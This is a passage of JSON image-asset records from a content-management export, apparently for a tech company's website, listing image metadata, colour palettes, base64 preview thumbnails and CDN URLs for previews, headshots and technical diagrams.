{"_createdAt":"2023-02-03T13:28:59Z","_id":"image-7989886b80bf2044d0695eaff5195c37f4c73735-1200x630-jpg","_rev":"pnOvEyahjeT2Gte9fmkxI3","_type":"sanity.imageAsset","_updatedAt":"2023-02-03T13:28:59Z","assetId":"7989886b80bf2044d0695eaff5195c37f4c73735","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M78p]42x[os*5YC9}r9]M}-TTL=_NIRk$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAEDBAf/xAAiEAACAgEDBAMAAAAAAAAAAAABAgMEAAUREiExQVEUImP/xAAXAQADAQAAAAAAAAAAAAAAAAADBAUG/8QAGxEAAgMBAQEAAAAAAAAAAAAAAQIAEjEDBBH/2gAMAwEAAhEDEQA/AMUj1BUjRTUrkqNuRXqcez6pOkcFeNH/ADGw29nIZmPxFHTv6w06zNWmDQSFGP1JHkZpXtQlNkZfhYBsj1Ck1SyYuQkAAIZexwy9fdnlQsQTwHjDB8urUFtjXXzIHNcn/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3560","foreground":"#fff","population":0.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":67.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":67.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9bb1cd","foreground":"#000","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed5941","foreground":"#fff","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b17f6f","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69312","foreground":"#000","population":1.11,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"resource_library_meta_preview.jpg","path":"images/sczeoy4w/production/7989886b80bf2044d0695eaff5195c37f4c73735-1200x630.jpg","sha1hash":"7989886b80bf2044d0695eaff5195c37f4c73735","size":89996,"uploadId":"XIibTPi6cano9Kr7PlaTh3sx7FFMldBN","url":"https://cdn.sanity.io/images/sczeoy4w/production/7989886b80bf2044d0695eaff5195c37f4c73735-1200x630.jpg"} {"_createdAt":"2023-10-19T12:38:13Z","_id":"image-79ae9615a5e9a374c2f9b59c9a651d0077894305-1520x1900-jpg","_rev":"97ScSe1K9UIWVy4zLd7hot","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T12:38:13Z","assetId":"79ae9615a5e9a374c2f9b59c9a651d0077894305","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dPIOkC~ppHt6_LM{ogM{x]MyV@t7tRWBRQt7bbofWBj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8,"height":1900,"width":1520},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAZABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHAwX/xAAsEAABBAAFAQUJAAAAAAAAAAABAAIDBAUGERIhMQcUIlFyMjM0NXOBkaGx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgP/xAAaEQADAQADAAAAAAAAAAAAAAAAAQIREyEi/9oADAMBAAIRAxEAPwCrRgac9EnUc9UrmYzhbak7GBzmNsOHhc4dQmXEcRiw6sJZmk68BrRqSo9dNqvmA2W7O7PLnsaOHMJ81BJsUQqT0qlqaB0pIePyhSmvjk7ozvkO4Eg8oVuNksHXOdoRWY4t53kBoG/TX7JZxuWOGBzyTw0kjcG/oLudpvua31QlOH5dZ9Lv4lE+dGqzrBBnuTQykB/teLr5oWWK/Et9AQkI/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#714348","foreground":"#fff","population":3.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#101c36","foreground":"#fff","population":2.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4b4","foreground":"#000","population":14.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4b4","foreground":"#000","population":14.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7d8be","foreground":"#000","population":2.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac706b","foreground":"#fff","population":3.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3a65c4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Sandeep_Mehta_1180.jpg","path":"images/sczeoy4w/production/79ae9615a5e9a374c2f9b59c9a651d0077894305-1520x1900.jpg","sha1hash":"79ae9615a5e9a374c2f9b59c9a651d0077894305","size":2197862,"uploadId":"RjeD3bAAILqA4iFuF8xlWtEv52sr0o7f","url":"https://cdn.sanity.io/images/sczeoy4w/production/79ae9615a5e9a374c2f9b59c9a651d0077894305-1520x1900.jpg"} {"_createdAt":"2024-02-15T15:30:57Z","_id":"image-79d6bc5a1ba02ab193168f12ad9ae39851a30581-3200x1376-png","_rev":"UjGmMOs0V2SxB808hz0ogL","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:57Z","assetId":"79d6bc5a1ba02ab193168f12ad9ae39851a30581","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZF=H?}rD$56N1AIE1xa%1bJD+NGogs.oz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3255813953488373,"height":1376,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC5ElEQVQokQHZAib9AOIxMADfMDAA5TIyAKYAAAA2cnwAEQcFABwaGQUcISUIGkVsBRhzxgYYdMcJGHTIBxVtvAIUFRICGRoaBRgnMwUXTn8IGFyZEBhorxIYdMcQAOQvLwDgLCsA7jo6AGV8ggF7hIsFbHJ3CkhMTxQ/REgZS1xrElF6nwsydrQIHXXFBFN1lgNJS04MOjw+FzxARRU+SlYUN0ZWFzFLYxAiaKkGANM6NAHYPjcByy4pAZuBhAadk5cVnJaaII6KjiWHg4cnkIySJJWQlxmJiJUJTX2bAn2YlAp7j4gbcIB6JnKDfSV3iYMjcYJ7I2x8dRVjcWIDAOorMAXqLTEF5CsuBc99fwzLoKMfyqqtLMqsry7Jq64ux6irLseipCPKm50LY4mLAnmnlQ6Ks5oejbSaJI2zmiSOtZski7KYIoOpkBVhhm4EAMZDNQbIQjUHzjsxB92Kgwzhsasg37q0Ld+8ti/evLUv3LiyL9qyrSXFpawONXqvBFmVjwh9sY8OhrmREIW4kBCFuZAQg7WND3WkfgpJalADAE6RRAdUj0QHX4I/BbWqigzJv6YhzMWuL83HsDDMxrAwysOtMcG6qSeKoLATH3O/Ch5jmgc0VFIDOE02AzRLNwM3TjgDNkk3Ayw6LQMiJyMBAGx+QAhxfEAJf288B72fhAzPu6ch0sOwLtLFszDRxLIw0MGvMMa4qyeInLIUHnK/DBpgoAgjNk4DHxQWAhoXHgIdFx0CIRofAh4bHgIfHh8BAMlBNAjMQDQI0joyCOiDfw3sraof6be0K+i5ti3nuLUt5rWyLeSvriPJoq0NKWyvBBxNdQQrNTsDJykmAiMnJQImKSYCKCknAiMkIwIgICABAOwqMALsLDID6SktA/OLiwnypaYc7qurKe2srCrsq6wq66mpKu2lpSD0oaEKfzYeACAiHQIpKSgCJCQkAiAhIAIjIyICJSUkAiEhIQIgICABNxQDRqwXnhMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#572d35","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c3c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#572d35","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#09428f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82b4f6","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#09428f","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f6fef","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-delete-insert.png","path":"images/sczeoy4w/production/79d6bc5a1ba02ab193168f12ad9ae39851a30581-3200x1376.png","sha1hash":"79d6bc5a1ba02ab193168f12ad9ae39851a30581","size":496053,"uploadId":"uNUriepibiMbl4qQ39mNBS6ZeGwqkPUC","url":"https://cdn.sanity.io/images/sczeoy4w/production/79d6bc5a1ba02ab193168f12ad9ae39851a30581-3200x1376.png"} {"_createdAt":"2022-06-16T23:49:36Z","_id":"image-79dbe7db7828afd9f3ade4a37ce9f8987c76e1b5-2500x1312-jpg","_rev":"0HOthdQkSgJdYc0C9w1ahs","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:36Z","assetId":"79dbe7db7828afd9f3ade4a37ce9f8987c76e1b5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSB0Y|KRkFx[U$-aLaeoeVt+aJBofxDI@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9054878048780488,"height":1312,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABAAF/8QAIBAAAgEDBQEBAAAAAAAAAAAAAQIDAAQRBRITImEyQf/EABcBAAMBAAAAAAAAAAAAAAAAAAIFBgf/xAAcEQEAAgIDAQAAAAAAAAAAAAABAAIDEQQFITH/2gAMAwEAAhEDEQA/ANW1jto7UclrE77fpmOaHqF3HpmkLJGGW4mlwdqg9MflKYkooJOKioYYYAj0VCnY3pkFNk1fLVvVN/Yew4p7KCRo23svYk4yaqYgAUAAAeVUty8+7dQ17CqoBuf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#90082c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad0a35","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740a","foreground":"#fff","population":8.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7be","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":6.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bc7c","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740a","foreground":"#fff","population":8.34,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Swift_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/79dbe7db7828afd9f3ade4a37ce9f8987c76e1b5-2500x1312.jpg","sha1hash":"79dbe7db7828afd9f3ade4a37ce9f8987c76e1b5","size":271121,"uploadId":"2XNytce5Nh3FJnoE1Hcrege5qRl2EegN","url":"https://cdn.sanity.io/images/sczeoy4w/production/79dbe7db7828afd9f3ade4a37ce9f8987c76e1b5-2500x1312.jpg"} {"_createdAt":"2022-06-15T20:01:47Z","_id":"image-79f15eb0a339c63e6c1d246428ae5e392f369774-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7hyT","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:48Z","assetId":"79f15eb0a339c63e6c1d246428ae5e392f369774","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdGvt;.TMwRPxv%NoJe-j[RjRinit7t7V@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACpklEQVQokQXB/zcaAQAA8Ptb9sve8/bMT80oM14j5mv2Il+O4eERhqyNpHlZzUkUhbRSnKsrqavk3NX19SrqIrbl8d72l+zzAQ4ukjB15c0UCOYPeVPEbx58ueIJfbcbyloizFm64KUZF5U0+wml1S7ds66YHTLjiWTLKIa2gXXH+aGXCFA0Tmf9dM5D5+2JvDnCGIhrUzh7Essi4dS+27+0oRmdFU3OTy4qZONz0939PeAgCChhzOQOeoioh0qi4aSdSltDaQOeVgfoDSy2cUqo7b6VPfPwzHRTC7e3893chEDY/pbDKnlT8RJQowG9h7DisWMygYSSjkjmiMoY8BTkS6jc1Arslx6gC3rL2OJyI7+J38KZHuQNddY01nNa+c3Apiuo95I/gzEbkUCjmTOaOU3dwokbc5SxUFnTJb3lvoRgz4JmpwMUtryvnBqo+zol+CwVy7V6AHJe6LDwwUXykEzZ4zns6j6YfyAKT+TdE1l4DOZ+oZH0/llwaVPX3t3RUMca7+MqJKBme83oDQKQNwphMQiLQ1h8G88cxW+xXJH6/Tde/EfdP/mvCkiI3j31S5Q/Gtp4HPaLrtbKL6IOlVKygyCAkWLWAymZK7LgCMvdUS1+hdD3gfzjReHpnCk64zmTP6Sx2WeWl7kNNWVlz9jlzwXNFaJRgRxaBeB4XhekvzlDUgcpd4bWvLHdy7QtmkUSOTRxfURGNceIWKkEx0dq6qtYr0pY5SVV7NJGHntguBew4ZTBi6udPsjhUSFOxfGxAraoEBPkMKrRvTVYK9Et9YnBJpDH7WA3dHGa+2p5gipu6+sPYCNgOnXtoQ4DCutOTKvmNbF2dgIaHFP1DCsFQyr+x++tQll903RlbX9ZtbCUN8Liz1W3f+K0iSp75nn/AZDVfcRktdxyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#626e42","foreground":"#fff","population":7.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c6c23","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#626e42","foreground":"#fff","population":7.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8c6d2","foreground":"#000","population":6.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96bad4","foreground":"#000","population":0.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6391a7","foreground":"#fff","population":0.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e25d51","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"79f15eb0a339c63e6c1d246428ae5e392f369774-752x405.png","path":"images/sczeoy4w/production/79f15eb0a339c63e6c1d246428ae5e392f369774-752x405.png","sha1hash":"79f15eb0a339c63e6c1d246428ae5e392f369774","size":154764,"uploadId":"Rm27RZH9t6xQb5jRWcvO3KbKmXk8UV5a","url":"https://cdn.sanity.io/images/sczeoy4w/production/79f15eb0a339c63e6c1d246428ae5e392f369774-752x405.png"} {"_createdAt":"2022-09-15T13:53:36Z","_id":"image-7a2b75d463bdfaac2d30ee786c50541b974f33f8-177x266-png","_rev":"StyfnzRSyhTCbsBlPKJ5Uj","_type":"sanity.imageAsset","_updatedAt":"2022-09-15T13:53:36Z","assetId":"7a2b75d463bdfaac2d30ee786c50541b974f33f8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"drLXVz?b?bof~qWBt7ofxuIUM{ay?bt7ayj[j[WBRjj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6654135338345865,"height":266,"width":177},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFDElEQVRIiaWVayzWfRjH/y9LUhpbzMbyIi3DWm9a1gsxRpmpMaeJzuuwFCKHG0UnrJwPEzGH6GSVlJybmRxiaUZtFSpUlklO+T77Xs/j5u7x5MVzb9fu//2/f//Pdfpe11/B//jMzc2JLb5WljuwlP3pf2Ux7PeDSzlbzpSlYPPXs7OzmJ6exszMjIaDPwLn/iOFsbExvH79Gg0NDWKdnZ3o7+/Hjx8//hXAr1+/xDlNgIsjYzSDg4N4+PAhQkND4ebmhj179uDAgQO4cOGC3H/79i3Gx8cl+qmpKfz8+VMc0TSA9MQobty4gb1792LTpk1Yv3499PT05NvMzAy7d+9GdHQ0nj59ig8fPmBkZATDw8MYGhoS0wDyRmFhIVxdXQVmamqKDRs2iBkZGUFfXx+GBoawsLCAv78/ysrK8OrVK/T29qKvrw9v3rxZqCFDr6+vx+HDh2Fvbw9vb28cO3YMx48fx5EjR+Dh4YEdO3Zg48aNMDQ0xGbzzTh58iQePHiAFy9eoL29HS9fvlwAsgnFxcU4dOgQLl++jMrKStTU1ODx48e4ffs2srKyoFKp4OXlha1bt8LY2Bg7d+7EtWvXUFVVhcbGRjQ1NS0AWQumm5ycLJ4+f/4sqXR0dMjhR48eoaioCFevXoWnp6fU09LSEsHBwbh37x6ePXuG2traBSABd+/eRXl5udSFMmlpaUFzczMqKiqQn5+PzMxMcXj69Gls27YN5ubmOHr0qDhiJk+ePFkAsiF8kGlnZ2fj0qVLSE1NRW5uLs6fPy+13b9/P06dOoWAgAA4Ojpiy5YtOHjwIG7evCm1ZBZq4NevX1FdXS2w8PBw7Nu3TxrCh5kiAba2tnB2doafnx9cXFywfft2qTlldv/+fYGqgRQq0+TNlJQUhIWFISYmRuCUiI+Pj3Tay9NLoqUKdu3aJQ6ZxZ07d6RcaiBV/+XLFxk3TkNBQQFu3bol8KCgIDHCaVFRUfKbcoqJiZGUqQRGqRY253BychIDAwOiR0bK7iUkJODMmTMS8ZUrV0RSNI5hRESE/M+GlZaWSlOVxcPNmSSQy4BRUkYcMwqcUDaHoNjYWMTFxeHixYuSAYElJSUSpUIYjSlzuLkY2traJEqOFrvN9M6ePSvpEchvOmKkGRkZkjLVwfMKI+OG4eixMZ8+fZKZ7O7ulgWQnp4u0LjYOIFFRkaqG5aYmCjazMvLk2xYc4WRsXYTExP4/v27AN+9e4eenh4NIAFcZ9RhYGCgpE2RZ2ZmimzYREapEMTICPv27ZsI/P3792htbZVD7CpryImg5igZAlm/pKQkpKWliXYpHZ5XCBodHRVhc/wYHRcotwcPcaO4u7uL+fr6CjzsXJg0JT4+HtevXxcol0dOTg4ULoWPHz9KitwubH9dXZ0sBg47pcKoODmEhYSEiA5ZAspGpVLJwmC32SCFHaXm6I0Pcd3zTzro6uqSuvBhpkkYAZQPoZxjFxcXmXH+piYVHuSGtrKyksXJPcfUKNLnz5+L+rkk2ARKhQ8yshMnTsDGxgYmxiay3Z2cnKTGiomJiax2HR0drF69GmvXrpWtzLklhDWi3igXipvp88XFxcDXwqpVq6CtrQ0DAwMBK7xBI2zeCOcBRs0oHBwcYGdnB2tra3mfMIt1uuugpaWFlStXqo0chfTfTZxo/e15zZo10NXVFeM17/HhFStWaMDm76kj1ID9Y4zg9yiWs78AFM2jfhRusYEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":3.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":3.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":3.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"thomas-krennwallner.png","path":"images/sczeoy4w/production/7a2b75d463bdfaac2d30ee786c50541b974f33f8-177x266.png","sha1hash":"7a2b75d463bdfaac2d30ee786c50541b974f33f8","size":47809,"uploadId":"PdAfSVOQuqcB25ZyDFLvw0dxh9QlDvoq","url":"https://cdn.sanity.io/images/sczeoy4w/production/7a2b75d463bdfaac2d30ee786c50541b974f33f8-177x266.png"} {"_createdAt":"2024-06-10T15:22:54Z","_id":"image-7a7e29a65512d592cac6b0c9c0e069483d109bd6-2812x1500-png","_rev":"oFiEE05U1PQErozi7WC7PW","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:54Z","assetId":"7a7e29a65512d592cac6b0c9c0e069483d109bd6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3S?DWxt4V~pIC?b01skD+t5t9k79a%LD*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8746666666666667,"height":1500,"width":2812},"exif":{"PixelXDimension":2812,"PixelYDimension":1500,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABEElEQVQoka1S2WrEMAzM/39hoY+lD0s3m/iQdfiYIocNLHRbaGsY5EMej0Ze9p2wrgnXNWHbE3ImFGYwC0QUIh4FtVb0PjDGc/TesWwfEbdrhBNn4hNOyKKgGQVmTti/JRxjYNkuAWGNSIlARZBIZhRVsFaQ1jl/RngfJ2HJghwyUkhI2VUWMB8EVitYbSr1da0NrTn6jKoGM5t2HGcdi4ghuX+XG7bbjhAiiMpMdhAXpEKT1B8qrl5sWhJjRnAhiea+5y9mDRwZFAiUC0rheeAvOsQUbAK1CvXyxVUdcyeh6beed5ZZez869FMXv+7seGzK6eo/jUPhH9HagGhH4fY7hffvci85U8Xbe8HLa8Qn2swSUnFH8S4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5764","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f2562","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9cb8eb","foreground":"#000","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3a9c4","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cb8eb","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#527596","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a66d9","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Integrate 2.png","path":"images/sczeoy4w/production/7a7e29a65512d592cac6b0c9c0e069483d109bd6-2812x1500.png","sha1hash":"7a7e29a65512d592cac6b0c9c0e069483d109bd6","size":253623,"uploadId":"zBvX4HAyZJEJ4N1rGkWkHa1BNm2hhDpz","url":"https://cdn.sanity.io/images/sczeoy4w/production/7a7e29a65512d592cac6b0c9c0e069483d109bd6-2812x1500.png"} {"_createdAt":"2022-11-21T17:40:34Z","_id":"image-7aa345268c70491622d96205701a934e2040c4fa-1600x962-png","_rev":"YI3rks3mbRtnzMpdo40dGG","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T17:40:54Z","altText":null,"assetId":"7aa345268c70491622d96205701a934e2040c4fa","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6632016632016633,"height":962,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABj0lEQVQokYWS2Y7bMAxF/f9/2CJJY1sSKVL7YineZuCmjykGOCDIh0vwkhxi/foRnw9yK3B/g6az30I5h1B+FJ8urkhVQJ4hC8gSC5qXy8dg49WV/erz+R/x4UNDnUYR72N8THGSCXhxaR+0W2eoAiuHzefzE7sLlTkKlW7PdB+TgMS2+LwN7DdFXVLT9sXXCBv79UrcduFXsi9jijWRdJQqKBWIkvVLyPtgwo78UrqBXoAavldCHaj9K6lpTIzWAVoJVoHTbGy9xjZhB94ELkLFSeanKI+p/JnLJLOEqPSiqGtMBIYk0iR4lgzMnFzaroVptwE3pf2s4m1Mvx5XnFUE7YEXNF1TYg6kAyvDYIiCcX89+3zauJuwsu9ku6I2Y5XUyHX2/fLsOnEhU7VpmhfNV2L8K+RjCOXwefd5D+UM5fT5ePMuL/JufUduAtusLiR2tKvL58C+A2U01aXt451T/fJpRa6TrPfnch+XSVZ831lA/H2Hx0jatlA+/0nIq3FJQrk9+23sAoqxKeTtG1Guoud1FoKMAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343454","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#645820","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3c8da","foreground":"#000","population":4.57,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3c8da","foreground":"#000","population":4.57,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8f1a3","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#988c57","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac9838","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-simply-explained-partitions-highres.png","path":"images/sczeoy4w/production/7aa345268c70491622d96205701a934e2040c4fa-1600x962.png","sha1hash":"7aa345268c70491622d96205701a934e2040c4fa","size":74582,"title":null,"uploadId":"TWgQNOwWeRXIs3ABlqqqoYhRv4ZMqBDe","url":"https://cdn.sanity.io/images/sczeoy4w/production/7aa345268c70491622d96205701a934e2040c4fa-1600x962.png"} {"_createdAt":"2022-06-15T20:02:43Z","_id":"image-7ae8ed56761bc36cfb6d47036f47c61cf29b5d37-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriO4G","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:50Z","assetId":"7ae8ed56761bc36cfb6d47036f47c61cf29b5d37","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTQSrE.Ts.D%.7L3VsaetRV@-pD%R+%LM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADAElEQVQokS3M3W/bVBiAcf+PXCEkhMSoGNtUqeUG1mUgJlFvF0zaBgy0MXWt1rSexFQkRldFTJQqTd00cXBd23GOHTu2j885thvbW/qR90VlXDz63T0S8eI5ux/8YtrD55btr5u2rxxZnmLaQ8UwXUU/dBTL9pUgTJWElwoT1Tt5qVBWKKMoXw9H6fMkzp8wXlyXDNN9dNAxrJbaS1uqxnb3NN7a07ja1nlL1Xhzt8O7msmHAeOUFZyyMadJxqNY8CAU3Hcpo/pAiCPX4DT9UfJ8ttYfhMK0h/hf1oU+2k6AVt9Hy/Zx4EYYxTmGcYaWTbDVUnF7ewf3D3po/mOhr2qYaEbMgvCxlPByNeFlQlmBlBVTygq4KOEFJBey8f8dg+uFsLXVgMVFGWq1Giwvr0w3X25Om3++RqfXi3zHWZKYqOpMVIyJCpkogYkSmSiQ8